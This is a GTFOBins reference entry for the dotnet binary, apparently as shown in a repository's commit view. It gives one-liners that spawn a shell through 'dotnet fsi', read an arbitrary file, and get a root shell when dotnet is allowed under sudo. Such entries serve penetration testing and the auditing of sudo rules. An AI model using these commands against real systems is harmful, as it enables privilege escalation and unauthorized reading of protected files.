GTFOBins.github.io/_gtfobins/dotnet.md
pad0van f9e3d84596
Add dotnet
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-02-23 21:53:30 +01:00

412 B

functions
shell file-read sudo
code
dotnet fsi System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
code
export LFILE=file_to_read dotnet fsi System.IO.File.ReadAllText(System.Environment.GetEnvironmentVariable("LFILE"));;
code
sudo dotnet fsi System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;